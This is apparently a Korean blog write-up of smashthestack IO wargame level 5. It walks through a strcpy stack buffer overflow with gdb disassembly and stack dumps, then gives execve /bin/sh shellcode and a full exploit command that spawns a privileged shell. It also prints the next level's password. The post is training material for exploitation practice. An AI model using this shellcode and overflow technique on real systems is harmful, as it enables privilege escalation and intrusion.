방금 smashthestack io를 하고 있었기 때문에 하던 것 이어서 일단 올려야겠다.
C:\Users\XXX>ssh level5@io.netgarage.org
____ ____
||i |||o || Welcome at IO!
||__|||__||
|/__\|/__\| If you have problems connecting please contact us on IRC. (irc.netgarage.org +6697)
level5@io.netgarage.org's password:
접속해서 보니 level05.c 소스코드가 있어서 확인하니 다음과 같은 코드였다.
level5@io:/levels$ cat level05.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buf[128];
if(argc < 2) return 1;
strcpy(buf, argv[1]);
printf("%s\n", buf);
return 0;
}
코드를 보면 간단한 버퍼오버플로우인 것처럼 보인다.
- buf의 크기는 128바이트
- 인자는 2개 이상
- 첫 번째 인자를 버퍼에 복사
바로 gdb로 분석해 보았다.
(gdb) disas main
Dump of assembler code for function main:
0x080483b4 <+0>: push %ebp
0x080483b5 <+1>: mov %esp,%ebp
0x080483b7 <+3>: sub $0xa8,%esp
0x080483bd <+9>: and $0xfffffff0,%esp
0x080483c0 <+12>: mov $0x0,%eax
0x080483c5 <+17>: sub %eax,%esp
0x080483c7 <+19>: cmpl $0x1,0x8(%ebp)
0x080483cb <+23>: jg 0x80483d9 <main+37>
0x080483cd <+25>: movl $0x1,-0x8c(%ebp)
0x080483d7 <+35>: jmp 0x8048413 <main+95>
0x080483d9 <+37>: mov 0xc(%ebp),%eax
0x080483dc <+40>: add $0x4,%eax
0x080483df <+43>: mov (%eax),%eax
0x080483e1 <+45>: mov %eax,0x4(%esp)
0x080483e5 <+49>: lea -0x88(%ebp),%eax
0x080483eb <+55>: mov %eax,(%esp)
0x080483ee <+58>: call 0x80482d4 <strcpy@plt>
0x080483f3 <+63>: lea -0x88(%ebp),%eax
0x080483f9 <+69>: mov %eax,0x4(%esp)
0x080483fd <+73>: movl $0x8048524,(%esp)
0x08048404 <+80>: call 0x80482b4 <printf@plt>
0x08048409 <+85>: movl $0x0,-0x8c(%ebp)
0x08048413 <+95>: mov -0x8c(%ebp),%eax
0x08048419 <+101>: leave
0x0804841a <+102>: ret
End of assembler dump.
strcpy 하는 <+37>~<+58> 부분을 보면 strcpy의 첫 번째 인자로 들어가는 buf의 위치가 ebp-0x88h인 것을 알 수 있다.
따라서 buf는 ebp에서 136바이트 떨어져있으며 ret으로부터는 140바이트 떨어지게 된 것이다. 따라서 140바이트 안에 쉘을 실행시키는 쉘 코드를 삽입하고 ret을 buf의 주소로 맞추면 될 것이다.
<-------- dummy + shellcode [140] --------><ret [4]>
shellcode는 lob를 풀때 사용했던 24byte의 길이의 쉘 코드를 사용하겠다.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
ret에 buf의 시작주소를 넣기 위해서 다시 한번 gdb로 실행시켜보았다.
(gdb) disas main
Dump of assembler code for function main:
0x080483b4 <+0>: push %ebp
0x080483b5 <+1>: mov %esp,%ebp
0x080483b7 <+3>: sub $0xa8,%esp
0x080483bd <+9>: and $0xfffffff0,%esp
0x080483c0 <+12>: mov $0x0,%eax
0x080483c5 <+17>: sub %eax,%esp
0x080483c7 <+19>: cmpl $0x1,0x8(%ebp)
0x080483cb <+23>: jg 0x80483d9 <main+37>
0x080483cd <+25>: movl $0x1,-0x8c(%ebp)
0x080483d7 <+35>: jmp 0x8048413 <main+95>
0x080483d9 <+37>: mov 0xc(%ebp),%eax
0x080483dc <+40>: add $0x4,%eax
0x080483df <+43>: mov (%eax),%eax
0x080483e1 <+45>: mov %eax,0x4(%esp)
0x080483e5 <+49>: lea -0x88(%ebp),%eax
0x080483eb <+55>: mov %eax,(%esp)
0x080483ee <+58>: call 0x80482d4 <strcpy@plt>
0x080483f3 <+63>: lea -0x88(%ebp),%eax
0x080483f9 <+69>: mov %eax,0x4(%esp)
0x080483fd <+73>: movl $0x8048524,(%esp)
0x08048404 <+80>: call 0x80482b4 <printf@plt>
0x08048409 <+85>: movl $0x0,-0x8c(%ebp)
0x08048413 <+95>: mov -0x8c(%ebp),%eax
0x08048419 <+101>: leave
0x0804841a <+102>: ret
End of assembler dump.
(gdb) b *main+63
Breakpoint 1 at 0x80483f3
(gdb) r `python -c 'print "A"*140'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /levels/level05 `python -c 'print "A"*140'`
Breakpoint 1, 0x080483f3 in main ()
(gdb) x/100x $esp
0xbffffb50: 0xbffffb70 0xbffffdc2 0xb7fff920 0xb7e9edb3
0xbffffb60: 0xbffffb8e 0x00000000 0xb7fe5110 0xb7fffc10
0xbffffb70: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb80: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb90: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffba0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbb0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbc0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbd0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbe0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbf0: 0x41414141 0x41414141 0x41414141 0xb7e26200
0xbffffc00: 0x00000002 0xbffffc94 0xbffffca0 0x00000000
0xbffffc10: 0x00000000 0x00000000 0xb7fc2000 0xb7fffc0c
0xbffffc20: 0xb7fff000 0x00000000 0x00000002 0xb7fc2000
0xbffffc30: 0x00000000 0xe2409e3f 0xd97cf22f 0x00000000
0xbffffc40: 0x00000000 0x00000000 0x00000002 0x080482f0
0xbffffc50: 0x00000000 0xb7ff0720 0xb7e26189 0xb7fff000
0xbffffc60: 0x00000002 0x080482f0 0x00000000 0x08048311
0xbffffc70: 0x080483b4 0x00000002 0xbffffc94 0x08048470
0xbffffc80: 0x08048420 0xb7feb080 0xbffffc8c 0xb7fff920
0xbffffc90: 0x00000002 0xbffffdb2 0xbffffdc2 0x00000000
0xbffffca0: 0xbffffe4f 0xbffffe65 0xbffffe75 0xbffffe89
0xbffffcb0: 0xbffffe9c 0xbffffea8 0xbffffecf 0xbffffedb
0xbffffcc0: 0xbfffff2f 0xbfffff45 0xbfffff54 0xbfffff60
0xbffffcd0: 0xbfffff71 0xbfffff7a 0xbfffff8c 0xbfffff94
buf의 위치가 0xbffffb70인 것을 알 수 있다.
따라서 payload는
<-------- dummy [116] + shellcode [24] --------><\x70\xfb\xff\xbf>
처음에는 nop [100] + shellcode [24] + nop [16] + [\x70\xfb\xff\xbf]를 하려했는데 invalid syntax가 발생했다.
왜 발생했는지는 모르겠다. 그래서 payload를 다르게 구성해봤다.
shellcode [24] + nop [116] + [\x70\xfb\xff\xbf]로 하니까 attack이 성공했다.
level5@io:/levels$ ./level05 `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*116 + "\x70\xfb\xff\xbf"'`
1Ph//shh/binPSᙰ̀p
sh-4.3$
sh-4.3$ id
uid=1005(level5) gid=1005(level5) euid=1006(level6) groups=1005(level5),1029(nosu)
sh-4.3$ cat /home/level5/.pass
cat: /home/level5/.pass: Permission denied
sh-4.3$ cat /home/level6/.pass
fQ8W8YlSBJBWKV2R
잘못된 점이나 부족한 점 지적해주시면 감사하겠습니다
'pwnable > smashthestack - io' 카테고리의 다른 글
[smashthestack - io] level8 write up (0) | 2019.08.31 |
---|---|
[smashthestack - io] level7 write up (0) | 2019.08.21 |
[smashthestack - io] level6 write up (0) | 2019.08.21 |